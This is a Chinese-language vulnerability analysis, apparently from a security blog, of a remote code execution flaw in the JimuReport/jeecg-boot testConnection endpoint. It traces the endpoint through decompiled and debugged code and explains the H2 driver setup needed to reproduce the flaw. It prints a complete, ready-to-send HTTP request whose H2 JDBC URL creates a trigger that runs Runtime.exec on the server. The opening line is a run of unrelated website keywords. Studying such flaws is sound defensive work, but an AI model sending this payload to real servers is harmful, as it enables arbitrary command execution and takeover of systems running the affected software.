网站后台管理教程,网络架构指什么,logo图案素材免费网站,安卓市场官方版app下载首先找testConnection接口#xff0c;前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找#xff0c;接口找到发现请求参数是json var1是JmreportDynamicDataSourceVo类型#xff0c;也就是如上图的dbSource#xff0c;根据打印的结果可以知道这里是local cac…首先找testConnection接口前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找接口找到发现请求参数是json var1是JmreportDynamicDataSourceVo类型也就是如上图的dbSource根据打印的结果可以知道这里是local cache key ConcurrentHashMap属于并发程序var4也就是连接相关的东西 那么这一块就是数据库连接的东西主要说的是配置文件 因为jeecg-boot/jmreport/testConnection接口的参数是var1是JmreportDynamicDataSourceVo类型那么我们查看代码总结出来有这么几个参数idcodedbTypedbDriverdbUrldbNamedbUsernamedbPasswordconnectTimes
那么继续往下走 可以看到从var1也就是JmreportDynamicDataSourceVo中获得DbDriver然后获得DbUrl一起通过g方法传给了var39来看看g方法 这段代码的目的是用于处理包含数据库连接参数的字符串如果字符串中包含 “mysql”则将 “allowLoadLocalInfile” 参数设置为 “false”。这是为了增强安全性因为允许加载本地文件可能存在一些潜在的安全风险
var2 DriverManager.getConnection(var39, var1.getDbUsername(), var1.getDbPassword());回到上一层继续往下走var2是进行数据库连接dburl,username,password那么记下来就是if判断var是否为null
但是上面是我们反编译出的jar包和实际还是有差别进行动态调试看看 现在对传入的 HTTP 请求执行预处理的拦截器地方下断点因为必经过这里 然后往下跳在接口处下断点 可以看到为false所以进入下面1091行的else 可以看到连接时候直接执行命令弹出计算器 然后回显报错这里会想到为什么会跳入这个catch (Exception var35)呢 因为执行的命令用于连接会报异常catch (ClassNotFoundException var34) 块用于捕获ClassNotFoundException异常而Exception var35用于捕获所有的异常
payload
POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 363{id: 1,code: dataSource1,dbType: H2,dbDriver: org.h2.Driver,dbUrl: jdbc:h2:mem:test;initCREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec(calc)\u000A$$,dbName: test,dbUsername: sa,dbPassword: ,connectTimes: 5
}目前是本地h2数据库没有配置好并且idea没有配置h2的依赖 我们配置好如下 在idea中加入h2依赖
!--h2--
dependencygroupIdcom.h2database/groupIdartifactIdh2/artifactIdversion1.4.197/versionscoperuntime/scope
/dependency根据我们之前写的h2文章就是因为所在版本存在漏洞1.1.100 H2 Console 2.0.204 成功弹出计算器